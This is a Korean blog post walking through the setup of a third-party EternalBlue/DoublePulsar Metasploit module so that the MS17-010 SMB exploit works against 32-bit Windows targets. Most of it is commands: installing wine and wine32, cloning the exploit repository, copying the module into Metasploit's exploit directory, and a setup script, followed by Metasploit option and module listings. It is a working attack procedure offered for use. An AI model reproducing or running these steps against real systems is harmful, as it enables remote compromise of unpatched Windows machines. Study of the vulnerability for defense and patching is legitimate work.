EternalBlue exploit for x86(32 bit) devices - 32비트 pc에 대한 EternalBlue
예전이나 지금이나 인기있는 Windows 취약점이 EternalBlue에 대한 이야기를 할까 합니다.
별다른건 아니고, Metasploit에서 EternalBlue Exploit을 하게되면 Base taget이 64비트 이여서 32비트 PC에는 바로 적용이 어려운데요, 찾다보니 32비트 버전으로 세팅해놓은 분이 있어 내용 공유드립니다.
Setting
우선 wine(32비트 버전), winetrcks 으로
#> apt-get install wine -y
#> apt-get install winetricks -y
#> dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y
or
#> apt install wine-stable
#> apt-get install winetricks
(Ubuntu 의 경우 wine-stable 설치 시 32비트도 같이 깔리기 때문에 add-architecture를 해줄 필요가 없습니다. )
이후 ElevenPaths의 EternalBlue쪽을 Clone 받아 cp eternalblue_doublepulsar.rb를 msf modules 디렉토리로 넣어줍니다.
#> git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
#> cd Eternalblue-Doublepulsar-Metasploit/
metasploit-framework 디렉토리를 설치 방식에 따라 다르긴 하지만 대체로 /usr/share, /opt 하위이게 때문에 확인해보시고 넣어주시면 됩니다.
#> cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
or
#> cp eternalblue_doublepulsar.rb /opt/metasploit-framework/modules/exploits/windows/smb
마지막으로 root 계정 상태에서 wine 사용을 위해 root 계정에도 wine directory를 만들어줍니다.
#> mkdir -p /root/.wine/drive_c/
스크립트로 요약하면 아래와 같습니다.
Scripts(https://gist.github.com/hkm/ff4180b4d13ca7d8a93d5b3cff848afc)
apt-get update -y
apt-get upgrade -y
apt-get install wine -y
apt-get install winetricks -y
dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
cd Eternalblue-Doublepulsar-Metasploit/
cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
mkdir -p /root/.wine/drive_c/
Exploit!
원래 etrenalblue는 대상 target이 64bit입니다.
HAHWUL (Sessions: 0 Jobs: 0) exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST yes The target address
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
그치만 추가로 넣어준 모듈을 보면..(제가 테스트한다고 하위 디렉토리에서 작업하다 보니 2개가 다 잡혔네요)
exploit/test/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar normal EternalBlue
exploit/windows/smb/eternalblue_doublepulsar normal EternalBlue
Description에는 32비트도 지원한다고 나오고, 실제로 Exploit 시 wine을 이용해서 DLL 파일을 받아 Exploit을 진행합니다. 덕분에 32비트 Payload 사용이 가능해져 32비트 대상으로도 공격이 가능합니다.
x86 & x64 !! |